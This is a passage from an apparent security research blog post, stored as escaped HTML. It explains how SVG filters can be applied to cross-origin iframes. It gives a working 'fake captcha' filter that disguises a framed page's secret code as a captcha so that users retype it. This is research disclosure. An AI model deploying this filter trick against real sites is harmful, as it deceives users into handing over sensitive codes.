20%),linear-gradient(90deg,#0003,#0000 20%),linear-gradient(180deg,#0003,#0000 20%),linear-gradient(270deg,#0003,#0000 20%),linear-gradient(180deg,#FF0213,#D85C13,#C472B2,#AD2DA8,#A51866),linear-gradient(in oklch 180deg,#9E4CA2,#B41C35)&#34;&gt;&lt;/div&gt;&lt;p&gt;Love &amp; Ponystep&lt;/p&gt;&lt;p&gt;Vylet Pony&lt;/p&gt;&lt;/album-card&gt;&#xD;&#xA;    &lt;album-card&gt;&lt;div style=&#34;background:linear-gradient(#D5D6D3,#8691AA)&#34;&gt;&lt;/div&gt;&lt;p&gt;I Love My Computer&lt;/p&gt;&lt;p&gt;Ninajirachi&lt;/p&gt;&lt;/album-card&gt;&#xD;&#xA;    &lt;/div&gt;&#xD;&#xA;    &lt;div style=&#34;position:relative&#34;&gt;&#xD;&#xA;    &lt;album-card&gt;&lt;div style=&#34;background:radial-gradient(circle at 53% 50%, #EA01FD 30%, #0000 40%),radial-gradient(circle at 47% 50%, #080CFF 30%, #0000 40%),linear-gradient(#FFF600,#FFF600)&#34;&gt;&lt;/div&gt;&lt;/album-card&gt;&#xD;&#xA;    &lt;album-card&gt;&lt;div style=&#34;background:radial-gradient(circle at 73% 16%, #CB1629 9%,#0000 10%), linear-gradient(#0F1015 38%,#038D8F 39%)&#34;&gt;&lt;/div&gt;&lt;/album-card&gt;&#xD;&#xA;    &lt;album-card&gt;&lt;div style=&#34;background:radial-gradient(circle at 16% 40%, #7B7368, #0000 15%),linear-gradient(in oklch 181deg, #C38765,#F35C01 50%,#150F04 50.5%, #667D00 51%)&#34;&gt;&lt;/div&gt;&lt;/album-card&gt;&#xD;&#xA;    &lt;album-card&gt;&lt;div style=&#34;background:linear-gradient(#ECD963 9%, #0000 10%),linear-gradient(90deg, #ECD963 9%, #0000 10%),linear-gradient(-90deg, #ECD963 9%, #0000 10%), linear-gradient(#C3CF8F 10%,#9E9948 90%)&#34;&gt;&lt;/div&gt;&lt;/album-card&gt;&#xD;&#xA;    &lt;album-card&gt;&lt;div style=&#34;background:linear-gradient(in oklch, #ECA395,#527796)&#34;&gt;&lt;/div&gt;&lt;/album-card&gt;&#xD;&#xA;    &lt;div style=&#34;position:absolute;pointer-events:none;inset:0 0 -150px 0;backdrop-filter:blur(2px);mask-image:linear-gradient(#0000, #FFF 25%);&#34;&gt;&lt;/div&gt;&#xD;&#xA;    &lt;div style=&#34;position:absolute;pointer-events:none;inset:0 0 -150px 0;backdrop-filter:blur(3px);mask-image:linear-gradient(#0000, #FFF 50%);&#34;&gt;&lt;/div&gt;&#xD;&#xA;    &lt;div style=&#34;position:absolute;pointer-events:none;inset:0 0 -150px 0;backdrop-filter:blur(4px);mask-image:linear-gradient(#0000, #FFF 75%);&#34;&gt;&lt;/div&gt;&#xD;&#xA;    &lt;div style=&#34;position:absolute;pointer-events:none;inset:0 0 -150px 0;backdrop-filter:blur(8px);mask-image:linear-gradient(#0000, #FFF 100%);&#34;&gt;&lt;/div&gt;&#xD;&#xA;    &lt;/div&gt;&#xD;&#xA;  &lt;/div&gt;&#xD;&#xA;  &lt;/div&gt;&#xD;&#xA;&lt;/div&gt;&lt;/div&gt;&#xD;&#xA;&lt;!-- &lt;p id=&#34;dragMsg&#34; style=&#34;position:absolute;bottom:0px;left:50%;translate: -50% 0; background:#FFFA;padding:8px;border-radius:5px;text-align:center;pointer-events:none&#34;&gt;Drag the liquid glass effect around from the bottom-right handle.&lt;/p&gt; --&gt;&#xD;&#xA;&lt;/art-frame&gt;&lt;/DIV&gt;&#xD;&#xA;&lt;style&gt;&#xD;&#xA;  #dragMsg {&#xD;&#xA;    transition: opacity 0.2s;&#xD;&#xA;    opacity: 0;&#xD;&#xA;  }&#xD;&#xA;  #lGlassDemo:hover:has(#liquidOverlay:not(:hover)) {&#xD;&#xA;    #dragMsg {&#xD;&#xA;      transition: opacity 0.2s 0.2s;&#xD;&#xA;      opacity: 1;&#xD;&#xA;    }&#xD;&#xA;  }&#xD;&#xA;  #liquidResize {&#xD;&#xA;    position:absolute;&#xD;&#xA;    width:8px;&#xD;&#xA;    height:8px;&#xD;&#xA;    border-radius:8px;&#xD;&#xA;    background:#FFF;&#xD;&#xA;    outline:2px solid #222;&#xD;&#xA;    outline-offset:-2px;&#xD;&#xA;    zoom:1.5;&#xD;&#xA;    pointer-events: none;&#xD;&#xA;    opacity: 1;&#xD;&#xA;  }&#xD;&#xA;  @media (pointer: coarse) {&#xD;&#xA;    #liquidOverlay {&#xD;&#xA;      scale: 4;&#xD;&#xA;      transform-origin: 100% 100%;&#xD;&#xA;      &amp; &gt; div {&#xD;&#xA;        scale: 0.25;&#xD;&#xA;        transform-origin: 100% 100%;&#xD;&#xA;      }&#xD;&#xA;    }&#xD;&#xA;    #liquidResize {&#xD;&#xA;      opacity: 1;&#xD;&#xA;      outline:2px solid #222;&#xD;&#xA;      zoom:2;&#xD;&#xA;    }&#xD;&#xA;    .fineText { display:none }&#xD;&#xA;  }&#xD;&#xA;  @media not (pointer: coarse) {&#xD;&#xA;    .coarseText { display:none }&#xD;&#xA;  }&#xD;&#xA;  .liquidDemoBg {&#xD;&#xA;    display:flex;&#xD;&#xA;    flex-direction: column;&#xD;&#xA;    background:linear-gradient(180deg,#FEFEFE 70%,#8CFFDB);&#xD;&#xA;    &amp; &gt; div {&#xD;&#xA;      justify-content: space-evenly;&#xD;&#xA;      display:flex;&#xD;&#xA;      flex:1;&#xD;&#xA;    }&#xD;&#xA;    album-card {&#xD;&#xA;      margin-top:12px;&#xD;&#xA;      max-width: 140px;&#xD;&#xA;      font-size: 75%;&#xD;&#xA;      font-family: sans-serif;&#xD;&#xA;      a {&#xD;&#xA;        color: inherit;&#xD;&#xA;      }&#xD;&#xA;      &amp; &gt; div, &amp; &gt; a &gt; div {&#xD;&#xA;        width: 140px;&#xD;&#xA;        height: 140px;&#xD;&#xA;      }&#xD;&#xA;      p {&#xD;&#xA;        font-weight: 600;&#xD;&#xA;        margin:0;&#xD;&#xA;      }&#xD;&#xA;      p:last-child {&#xD;&#xA;        font-weight: 400;&#xD;&#xA;      }&#xD;&#xA;    }&#xD;&#xA;    img {&#xD;&#xA;      width: 140px;&#xD;&#xA;      height: 140px;&#xD;&#xA;    }&#xD;&#xA;  }&#xD;&#xA;&lt;/style&gt;&#xD;&#xA;&lt;svg class=&#34;effect&#34; width=&#34;200&#34; height=&#34;200&#34; viewBox=&#34;0 0 200 200&#34; xmlns=&#34;http://www.w3.org/2000/svg&#34;&gt;&#xD;&#xA;&lt;filter id=&#34;displacementFilter4&#34;&gt;&#xD;&#xA;    &lt;feImage xlink:href=&#34;data:image/svg+xml,%3Csvg width=&#39;200&#39; height=&#39;200&#39; viewBox=&#39;0 0 200 200&#39; xmlns=&#39;http://www.w3.org/2000/svg&#39;%3E%3Crect x=&#39;50&#39; y=&#39;50&#39; width=&#39;100&#39; height=&#39;100&#39; rx=&#39;26&#39; fill=&#39;rgb%280 0 0 %2F7%25%29&#39; /%3E%3Crect x=&#39;50&#39; y=&#39;50&#39; width=&#39;100&#39; height=&#39;100&#39; rx=&#39;26&#39; fill=&#39;%23FFF&#39; style=&#39;filter:blur(5px)&#39; /%3E%3C/svg%3E&#34; x=&#34;0%&#34; y=&#34;0%&#34; width=&#34;100%&#34; height=&#34;100%&#34; result=&#34;thing9&#34; id=&#34;thing9&#34;&gt;&lt;/feImage&gt;&#xD;&#xA;    &lt;feImage xlink:href=&#34;data:image/svg+xml,%3Csvg width=&#39;200&#39; height=&#39;200&#39; viewBox=&#39;0 0 200 200&#39; xmlns=&#39;http://www.w3.org/2000/svg&#39;%3E%3Crect x=&#39;50&#39; y=&#39;50&#39; width=&#39;100&#39; height=&#39;100&#39; rx=&#39;26&#39; fill=&#39;%23000&#39; /%3E%3C/svg%3E&#34; x=&#34;0%&#34; y=&#34;0%&#34; width=&#34;100%&#34; height=&#34;100%&#34; result=&#34;thing1&#34; id=&#34;thing1&#34;&gt;&lt;/feImage&gt;&#xD;&#xA;    &lt;feImage xlink:href=&#34;data:image/svg+xml,%3Csvg width=&#39;200&#39; height=&#39;200&#39; viewBox=&#39;0 0 200 200&#39; xmlns=&#39;http://www.w3.org/2000/svg&#39;%3E%3Cdefs%3E%3ClinearGradient id=&#39;gradient1&#39; x1=&#39;0%25&#39; y1=&#39;0%25&#39; x2=&#39;100%25&#39; y2=&#39;0%25&#39;%3E%3Cstop offset=&#39;0%25&#39; stop-color=&#39;%23000&#39;/%3E%3Cstop offset=&#39;100%25&#39; stop-color=&#39;%2300F&#39;/%3E%3C/linearGradient%3E%3ClinearGradient id=&#39;gradient2&#39; x1=&#39;0%25&#39; y1=&#39;0%25&#39; x2=&#39;0%25&#39; y2=&#39;100%25&#39;%3E%3Cstop offset=&#39;0%25&#39; stop-color=&#39;%23000&#39;/%3E%3Cstop offset=&#39;100%25&#39; stop-color=&#39;%230F0&#39;/%3E%3C/linearGradient%3E%3C/defs%3E%3Crect x=&#39;0&#39; y=&#39;0&#39; width=&#39;200&#39; height=&#39;200&#39; rx=&#39;26&#39; fill=&#39;%237F7F7F&#39; /%3E%3Crect x=&#39;50&#39; y=&#39;50&#39; width=&#39;100&#39; height=&#39;100&#39; rx=&#39;26&#39; fill=&#39;%23000&#39; /%3E%3Crect x=&#39;50&#39; y=&#39;50&#39; width=&#39;100&#39; height=&#39;100&#39; rx=&#39;26&#39; fill=&#39;url(%23gradient1)&#39; style=&#39;mix-blend-mode: screen&#39; /%3E%3Crect x=&#39;50&#39; y=&#39;50&#39; width=&#39;100&#39; height=&#39;100&#39; rx=&#39;26&#39; fill=&#39;url(%23gradient2)&#39; style=&#39;mix-blend-mode: screen&#39; /%3E%3Crect x=&#39;50&#39; y=&#39;50&#39; width=&#39;100&#39; height=&#39;100&#39; rx=&#39;26&#39; fill=&#39;rgb%28127 127 127 %2F85%25%29&#39; style=&#39;filter:blur(4px)&#39; /%3E%3C/svg%3E&#34; x=&#34;0%&#34; y=&#34;0%&#34; width=&#34;100%&#34; height=&#34;100%&#34; result=&#34;thing2&#34; id=&#34;thing2&#34;&gt;&lt;/feImage&gt;&#xD;&#xA;      &lt;feGaussianBlur stdDeviation=&#34;.6&#34; id=&#34;preblur&#34; in=&#34;SourceGraphic&#34; result=&#34;preblur&#34;&gt;&lt;/feGaussianBlur&gt;&#xD;&#xA;    &lt;feDisplacementMap id=&#34;dispR&#34; in2=&#34;thing2&#34; in=&#34;preblur&#34; scale=&#34;-146.5&#34; xChannelSelector=&#34;B&#34; yChannelSelector=&#34;G&#34;&gt;&lt;/feDisplacementMap&gt;&#xD;&#xA;      &lt;feColorMatrix type=&#34;matrix&#34; values=&#34;1 0 0 0 0&#xD;&#xA;              0 0 0 0 0&#xD;&#xA;              0 0 0 0 0&#xD;&#xA;              0 0 0 1 0&#34; result=&#34;disp1&#34;&gt;&lt;/feColorMatrix&gt;&#xD;&#xA;    &lt;feDisplacementMap id=&#34;dispG&#34; in2=&#34;thing2&#34; in=&#34;preblur&#34; scale=&#34;-150&#34; xChannelSelector=&#34;B&#34; yChannelSelector=&#34;G&#34;&gt;&lt;/feDisplacementMap&gt;&#xD;&#xA;      &lt;feColorMatrix type=&#34;matrix&#34; values=&#34;0 0 0 0 0&#xD;&#xA;              0 1 0 0 0&#xD;&#xA;              0 0 0 0 0&#xD;&#xA;              0 0 0 1 0&#34; result=&#34;disp2&#34;&gt;&lt;/feColorMatrix&gt;&#xD;&#xA;    &lt;feDisplacementMap id=&#34;dispB&#34; in2=&#34;thing2&#34; in=&#34;preblur&#34; scale=&#34;-153.5&#34; xChannelSelector=&#34;B&#34; yChannelSelector=&#34;G&#34;&gt;&lt;/feDisplacementMap&gt;&#xD;&#xA;      &lt;feColorMatrix type=&#34;matrix&#34; values=&#34;0 0 0 0 0&#xD;&#xA;              0 0 0 0 0&#xD;&#xA;              0 0 1 0 0&#xD;&#xA;              0 0 0 1 0&#34; result=&#34;disp3&#34;&gt;&lt;/feColorMatrix&gt;&#xD;&#xA;      &lt;feBlend in2=&#34;disp2&#34; mode=&#34;screen&#34;&gt;&lt;/feBlend&gt;&#xD;&#xA;      &lt;feBlend in2=&#34;disp1&#34; mode=&#34;screen&#34;&gt;&lt;/feBlend&gt;&#xD;&#xA;      &lt;feGaussianBlur stdDeviation=&#34;1.3&#34; id=&#34;postblur&#34;&gt;&lt;/feGaussianBlur&gt;&#xD;&#xA;      &lt;feBlend in2=&#34;thing9&#34; mode=&#34;multiply&#34;&gt;&lt;/feBlend&gt;&#xD;&#xA;      &lt;feComposite in2=&#34;thing1&#34; operator=&#34;in&#34;&gt;&lt;/feComposite&gt;&#xD;&#xA;      &lt;feOffset dx=&#34;43&#34; dy=&#34;43&#34;&gt;&lt;/feOffset&gt;&#xD;&#xA;  &lt;/filter&gt;&#xD;&#xA;&lt;/svg&gt;&#xD;&#xA;&lt;p&gt;&lt;em&gt;You can drag around the effect with the &lt;span id=&#34;liquidResize&#34; style=&#34;position:static;zoom:1.5;display:inline-block;transform:skewX(-9deg) scaleX(0.95) translateX(0.4px);pointer-events:all;cursor:text&#34;&gt;&lt;span style=&#34;font-size:0;position:absolute;&#34;&gt;bottom-right circle control thing&lt;/span&gt;&lt;/span&gt; in the demo above (chrome/firefox desktop, chrome mobile).&lt;/em&gt;&lt;/p&gt;&#xA;&lt;div class=&#34;safariNote&#34;&gt;&lt;span&gt;Note: This demo is broken in Safari, sorry.&lt;/span&gt;&lt;/div&gt;&#xD;&#xA;&lt;p&gt;My little tech demo made quite a splash online, and even resulted in a &lt;a href=&#34;https://80.lv/articles/accurate-apple-s-liquid-glass-effect-recreated-with-css-svg&#34;&gt;news article&lt;/a&gt; with what is probably the wildest quote about me to date: &lt;em&gt;&amp;ldquo;Samsung and others have nothing on her&amp;rdquo;&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;p&gt;A few days passed, and another thought came to mind - would this SVG effect work on top of an iframe?&lt;/p&gt;&#xA;&lt;p&gt;Like, surely not? The way the effect &amp;ldquo;refracts light&amp;rdquo;&lt;sup id=&#34;fnref:2&#34;&gt;&lt;a href=&#34;#fn:2&#34; class=&#34;footnote-ref&#34; role=&#34;doc-noteref&#34;&gt;2&lt;/a&gt;&lt;/sup&gt; is way too complex to work on a cross-origin document.&lt;/p&gt;&#xA;&lt;p&gt;But, to my surprise, it did.&lt;/p&gt;&#xA;&lt;p&gt;The reason this was so interesting to me is that my liquid glass effect uses the &lt;code&gt;feColorMatrix&lt;/code&gt; and &lt;code&gt;feDisplacementMap&lt;/code&gt; SVG filters - changing the colors of pixels, and moving them, respectively. And I could do that on a cross-origin document?&lt;/p&gt;&#xA;&lt;p&gt;This got me wondering - do any of the other filters work on iframes, and could we turn that into an attack somehow? It turns out that it&amp;rsquo;s &lt;!--nearly --&gt;all of them, and yes!&lt;/p&gt;&#xA;&lt;h2 id=&#34;building-blocks&#34;&gt;Building blocks&lt;/h2&gt;&#xA;&lt;p&gt;I got to work, going through every &lt;a href=&#34;https://developer.mozilla.org/en-US/docs/Web/SVG/Reference/Element#f&#34;&gt;&amp;lt;fe*&amp;gt;&lt;/a&gt; SVG element and figuring out which ones can be combined to build our own attack primitives.&lt;/p&gt;&#xA;&lt;p&gt;These filter elements take in one or more input images, apply operations to them, and output a new image. You can chain a bunch of them together within a single SVG filter, and refer to the output of any of the previous filter elements in the chain.&lt;/p&gt;&#xA;&lt;p&gt;Let&amp;rsquo;s take a look at some of the more useful base elements we can play with:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&#34;https://developer.mozilla.org/en-US/docs/Web/SVG/Reference/Element/feImage&#34;&gt;&lt;strong&gt;&amp;lt;feImage&amp;gt;&lt;/strong&gt;&lt;/a&gt; - load an image file;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&#34;https://developer.mozilla.org/en-US/docs/Web/SVG/Reference/Element/feFlood&#34;&gt;&lt;strong&gt;&amp;lt;feFlood&amp;gt;&lt;/strong&gt;&lt;/a&gt; - draw a rectangle;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&#34;https://developer.mozilla.org/en-US/docs/Web/SVG/Reference/Element/feOffset&#34;&gt;&lt;strong&gt;&amp;lt;feOffset&amp;gt;&lt;/strong&gt;&lt;/a&gt; - move stuff around;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&#34;https://developer.mozilla.org/en-US/docs/Web/SVG/Reference/Element/feDisplacementMap&#34;&gt;&lt;strong&gt;&amp;lt;feDisplacementMap&amp;gt;&lt;/strong&gt;&lt;/a&gt; - move pixels according to a map;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&#34;https://developer.mozilla.org/en-US/docs/Web/SVG/Reference/Element/feGaussianBlur&#34;&gt;&lt;strong&gt;&amp;lt;feGaussianBlur&amp;gt;&lt;/strong&gt;&lt;/a&gt; - blur stuff;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&#34;https://developer.mozilla.org/en-US/docs/Web/SVG/Reference/Element/feTile&#34;&gt;&lt;strong&gt;&amp;lt;feTile&amp;gt;&lt;/strong&gt;&lt;/a&gt; - tiling and cropping utility;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&#34;https://developer.mozilla.org/en-US/docs/Web/SVG/Reference/Element/feMorphology&#34;&gt;&lt;strong&gt;&amp;lt;feMorphology&amp;gt;&lt;/strong&gt;&lt;/a&gt; - expand/grow light or dark areas;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&#34;https://developer.mozilla.org/en-US/docs/Web/SVG/Reference/Element/feBlend&#34;&gt;&lt;strong&gt;&amp;lt;feBlend&amp;gt;&lt;/strong&gt;&lt;/a&gt; - blend two inputs according to the &lt;a href=&#34;https://developer.mozilla.org/en-US/docs/Web/CSS/blend-mode&#34;&gt;mode&lt;/a&gt;;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&#34;https://developer.mozilla.org/en-US/docs/Web/SVG/Reference/Element/feComposite&#34;&gt;&lt;strong&gt;&amp;lt;feComposite&amp;gt;&lt;/strong&gt;&lt;/a&gt; - compositing utilities, can be used to apply an alpha matte, or do various arithmetics on one or two inputs;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&#34;https://developer.mozilla.org/en-US/docs/Web/SVG/Reference/Element/feColorMatrix&#34;&gt;&lt;strong&gt;&amp;lt;feColorMatrix&amp;gt;&lt;/strong&gt;&lt;/a&gt; - apply a color matrix, this allows moving colors between channels and converting between alpha and luma mattes;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;That&amp;rsquo;s quite a selection of utilities!&lt;/p&gt;&#xA;&lt;p&gt;If you&amp;rsquo;re a demoscener&lt;sup id=&#34;fnref:3&#34;&gt;&lt;a href=&#34;#fn:3&#34; class=&#34;footnote-ref&#34; role=&#34;doc-noteref&#34;&gt;3&lt;/a&gt;&lt;/sup&gt; you&amp;rsquo;re probably feeling right at home. These are  the fundamental building blocks for many kinds of computer graphics, and they can be combined into many useful primitives of our own. So let&amp;rsquo;s see some examples.&lt;/p&gt;&#xA;&lt;h3 id=&#34;fake-captcha&#34;&gt;Fake captcha&lt;/h3&gt;&#xA;&lt;p&gt;I&amp;rsquo;ll start off with an example of basic data exfiltration. Suppose you&amp;rsquo;re targeting an iframe that contains some sort of sensitive code. You &lt;em&gt;could&lt;/em&gt; ask the user to retype it by itself, but that&amp;rsquo;d probably seem suspicious.&lt;/p&gt;&#xA;&lt;p&gt;What we can do instead is make use of &lt;code&gt;feDisplacementMap&lt;/code&gt; to make the text seem like a captcha! This way, the user is far more likely to retype the code.&lt;/p&gt;&#xA;&lt;DIV&gt;&lt;art-frame id=&#34;fakeCaptcha&#34; flex&gt;&lt;fake-frame&gt;&lt;p&gt;Here is your secret code:&lt;/p&gt;&lt;p&gt;6c79 7261 706f 6e79&lt;/p&gt;&lt;p&gt;Don&#39;t share it with anyone!&lt;/p&gt;&lt;/fake-frame&gt;&lt;fake-frame style=&#34;filter:url(#fakeCaptchaFilter)&#34;&gt;&lt;p&gt;Here is your secret code:&lt;/p&gt;&lt;p&gt;6c79 7261 706f 6e79&lt;/p&gt;&lt;p&gt;Don&#39;t share it with anyone!&lt;/p&gt;&lt;/fake-frame&gt;&lt;div&gt;&lt;div style=&#34;margin-top:20px;background:#EEE;padding:10px 0;text-align:center&#34;&gt;Complete a captcha&lt;/div&gt;&lt;div style=&#34;margin-top:70px;background:#EEE;padding:10px 0;text-align:center&#34;&gt;&lt;div class=&#34;textA&#34;&gt;What&#39;s written above?&lt;/div&gt;&lt;div class=&#34;textB&#34; contenteditable=&#34;plaintext-only&#34; style=&#34;color:green&#34;&gt;Good girl!!&lt;br&gt;&lt;p style=&#34;font-size:50%;margin:0;color:#444&#34;&gt;(&lt;span class=&#34;coarseText&#34;&gt;tap&lt;/span&gt;&lt;span class=&#34;fineText&#34;&gt;click&lt;/span&gt; to edit if you&#39;re not a girl)&lt;/p&gt;&lt;/div&gt;&lt;input spellcheck=false placeholder=&#34;Enter the letters from above&#34; minlength=&#34;16&#34; pattern=&#34;^6c79 ?7261 ?706f ?6e79$&#34; required&gt;&lt;/div&gt;&lt;/div&gt;&lt;/art-frame&gt;&lt;/DIV&gt;&#xD;&#xA;&lt;pre class=&#34;sx-block sx-full&#34;&gt;&lt;code&gt;&lt;sx-t&gt;&amp;lt;iframe&lt;/sx-t&gt; &lt;sx-r&gt;src&lt;/sx-r&gt;&lt;sx-t&gt;=&lt;/sx-t&gt;&lt;sx-v&gt;&amp;quot;...&amp;quot;&lt;/sx-v&gt; &lt;sx-r&gt;style&lt;/sx-r&gt;&lt;sx-t&gt;=&lt;/sx-t&gt;&lt;sx-v&gt;&amp;quot;filter:url(#captchaFilter)&amp;quot;&lt;/sx-v&gt;&lt;sx-t&gt;&amp;gt;&amp;lt;/iframe&amp;gt;&#xD;&#xA;&amp;lt;svg&lt;/sx-t&gt; &lt;sx-r&gt;width&lt;/sx-r&gt;&lt;sx-t&gt;=&lt;/sx-t&gt;&lt;sx-v&gt;&amp;quot;768&amp;quot;&lt;/sx-v&gt; &lt;sx-r&gt;height&lt;/sx-r&gt;&lt;sx-t&gt;=&lt;/sx-t&gt;&lt;sx-v&gt;&amp;quot;768&amp;quot;&lt;/sx-v&gt; &lt;sx-r&gt;viewBox&lt;/sx-r&gt;&lt;sx-t&gt;=&lt;/sx-t&gt;&lt;sx-v&gt;&amp;quot;0 0 768 768&amp;quot;&lt;/sx-v&gt; &lt;sx-r&gt;xmlns&lt;/sx-r&gt;&lt;sx-t&gt;=&lt;/sx-t&gt;&lt;sx-v&gt;&amp;quot;http://www.w3.org/2000/svg&amp;quot;&lt;/sx-v&gt;&lt;sx-t&gt;&amp;gt;&#xD;&#xA;  &amp;lt;filter&lt;/sx-t&gt; &lt;sx-r&gt;id&lt;/sx-r&gt;&lt;sx-t&gt;=&lt;/sx-t&gt;&lt;sx-v&gt;&amp;quot;captchaFilter&amp;quot;&lt;/sx-v&gt;&lt;sx-t&gt;&amp;gt;&#xD;&#xA;    &amp;lt;feTurbulence&lt;/sx-t&gt;&#xD;&#xA;      &lt;sx-r&gt;type&lt;/sx-r&gt;&lt;sx-t&gt;=&lt;/sx-t&gt;&lt;sx-v&gt;&amp;quot;turbulence&amp;quot;&lt;/sx-v&gt;&#xD;&#xA;      &lt;sx-r&gt;baseFrequency&lt;/sx-r&gt;&lt;sx-t&gt;=&lt;/sx-t&gt;&lt;sx-v&gt;&amp;quot;0.03&amp;quot;&lt;/sx-v&gt;&#xD;&#xA;      &lt;sx-r&gt;numOctaves&lt;/sx-r&gt;&lt;sx-t&gt;=&lt;/sx-t&gt;&lt;sx-v&gt;&amp;quot;4&amp;quot;&lt;/sx-v&gt;&#xD;&#xA;      &lt;sx-r&gt;result&lt;/sx-r&gt;&lt;sx-t&gt;=&lt;/sx-t&gt;&lt;sx-v&gt;&amp;quot;turbulence&amp;quot;&lt;/sx-v&gt; &lt;sx-t&gt;/&amp;gt;&#xD;&#xA;    &amp;lt;feDisplacementMap&lt;/sx-t&gt;&#xD;&#xA;      &lt;sx-r&gt;in&lt;/sx-r&gt;&lt;sx-t&gt;=&lt;/sx-t&gt;&lt;sx-v&gt;&amp;quot;SourceGraphic&amp;quot;&lt;/sx-v&gt;&#xD;&#xA;      &lt;sx-r&gt;in2&lt;/sx-r&gt;&lt;sx-t&gt;=&lt;/sx-t&gt;&lt;sx-v&gt;&amp;quot;turbulence&amp;quot;&lt;/sx-v&gt;&#xD;&#xA;      &lt;sx-r&gt;scale&lt;/sx-r&gt;&lt;sx-t&gt;=&lt;/sx-t&gt;&lt;sx-v&gt;&amp;quot;6&amp;quot;&lt;/sx-v&gt;&#xD;&#xA;      &lt;sx-r&gt;xChannelSelector&lt;/sx-r&gt;&lt;sx-t&gt;=&lt;/sx-t&gt;&lt;sx-v&gt;&amp;quot;R&amp;quot;&lt;/sx-v&gt;&#xD;&#xA;      &lt;sx-r&gt;yChannelSelector&lt;/sx-r&gt;&lt;sx-t&gt;=&lt;/sx-t&gt;&lt;sx-v&gt;&amp;quot;G&amp;quot;&lt;/sx-v&gt; &lt;sx-t&gt;/&amp;gt;&#xD;&#xA;  &amp;lt;/filter&amp;gt;&#xD;&#xA;&amp;lt;/svg&amp;gt;&lt;/sx-t&gt;&#xD;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xD;&#xA;&lt;p&gt;&lt;svg&#xD;&#xA;class=&#34;effect&#34;&#xD;&#xA;width=&#34;768&#34;&#xD;&#xA;height=&#34;768&#34;&#xD;&#xA;viewBox=&#34;0 0 768 768&#34;&#xD;&#xA;xmlns=&#34;http://www.w3.org/2000/svg&#34;&gt;&#xA;&lt;filter id=&#34;fakeCaptchaFilter&#34;&gt;&#xA;&lt;feTurbulence&#xD;&#xA;type=&#34;turbulence&#34;&#xD;&#xA;baseFrequency=&#34;0.03&#34;&#xD;&#xA;numOctaves=&#34;4&#34;&#xD;&#xA;result=&#34;turbulence&#34; /&gt;&#xA;&lt;feDisplacementMap&#xD;&#xA;in=&#34;SourceGraphic&#34;&#xD;&#xA;in2=&#34;turbulence&#34;&#xD;&#xA;scale=&#34;6&#34;&#xD;&#xA;xChannelSelector=&#34;R&#34;&#xD;&#xA;yChannelSelector=&#34;G&#34; /&gt;&#xA;&lt;/filter&gt;&#xA;&lt;/svg&gt;&lt;/p&gt;&#xA;&lt;style&gt;&#xD;&#xA;  body:has(#color-effects-hover) {&#xD;&#xA;    /* whoops */&#xD;&#xA;  }&#xD;&#xA;&#xD;&#xA;  #fakeCaptcha {&#xD;&#xA;    height:200px;&#xD;&#xA;    position:relative;&#xD;&#xA;    &amp;&gt;div {&#xD;&#xA;      position:absolute;&#xD;&#xA;      width:30%;&#xD;&#xA;      height:100%;&#xD;&#xA;      left:60%;&#xD;&#xA;      top:0;&#xD;&#xA;    }&#xD;&#xA;    @media (width &lt; 640px) {&#xD;&#xA;      flex-direction: column;&#xD;&#xA;      height: 400px;&#xD;&#xA;      &amp;&gt;div {&#xD;&#xA;        width:80%;&#xD;&#xA;        height:50%;&#xD;&#xA;        left:10%;&#xD;&#xA;        top:50%;&#xD;&#xA;      }&#xD;&#xA;    }&#xD;&#xA;    font-size: 16px;&#xD;&#xA;    fake-frame {&#xD;&#xA;      display: flex;&#xD;&#xA;      flex-grow: 1;&#xD;&#xA;      flex-direction: column;&#xD;&#xA;      justify-content: center;&#xD;&#xA;      text-align: center;&#xD;&#xA;      p:nth-child(2) {&#xD;&#xA;        font-size: 24px;&#xD;&#xA;      }&#xD;&#xA;    }&#xD;&#xA;    &amp;:not(:has(input:valid)) {&#xD;&#xA;      .textB { display: none; }&#xD;&#xA;    }&#xD;&#xA;    &amp;:has(input:valid) {&#xD;&#xA;      .textA { display: none; }&#xD;&#xA;    }&#xD;&#xA;  }&#xD;&#xA;  svg.effect {&#xD;&#xA;    position: absolute;&#xD;&#xA;    top: -9999px;&#xD;&#xA;    left: -9999px;&#xD;&#xA;  }&#xD;&#xA;  fake-frame {&#xD;&#xA;    width: calc(100% - 4px);&#xD;&#xA;    display: block;&#xD;&#xA;    overflow: auto;&#xD;&#xA;    border: 2px inset #EEE;&#xD;&#xA;    background: #FFF;&#xD;&#xA;  }&#xD;&#xA;&lt;/style&gt;&#xD;&#xA;&lt;p&gt;&lt;em&gt;Note: Only the part inside the &lt;code&gt;&amp;lt;filter&amp;gt;&lt;/code&gt; block is relevant, the rest is just an example of using filters.&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;Add to this some &lt;span id=&#34;color-effects-hover&#34; style=&#34;/*text-decoration:underline*/&#34;&gt;color effects and random lines&lt;/span&gt;, and you&amp;rsquo;ve got a pretty convincing cap&lt;span style=&#34;font-size:80%&#34;&gt;-&lt;/span&gt;tcha!&lt;/p&gt;&#xA;&lt;p&gt;Out of all the attack primitives I&amp;rsquo;ll be sharing, this one is probably the least useful as sites rarely allow you to frame pages giving out magic secret codes. I wanted to show it though, as it&amp;rsquo;s a pretty simple introduction to the attack technique.&lt;/p&gt;&#xA;&lt;style&gt;&#xD;&#xA;  .defSelect {&#xD;&#xA;    &amp;::selection, ::selection {&#xD;&#xA;      background: #0041C6CC;&#xD;&#xA;    }&#xD;&#xA;  }&#xD;&#xA;&lt;/style&gt;&#xD;&#xA;&lt;DIV&gt;&lt;art-frame class=&#34;defSelect&#34; style=&#34;background:#121212;word-break:break-all;white-space:pre-wrap;font-family:monospace;color:#FFF;padding:8px;box-sizing:border-box&#34; aria-label=&#34;an API response made to look like one from Google&#39;s services&#34; 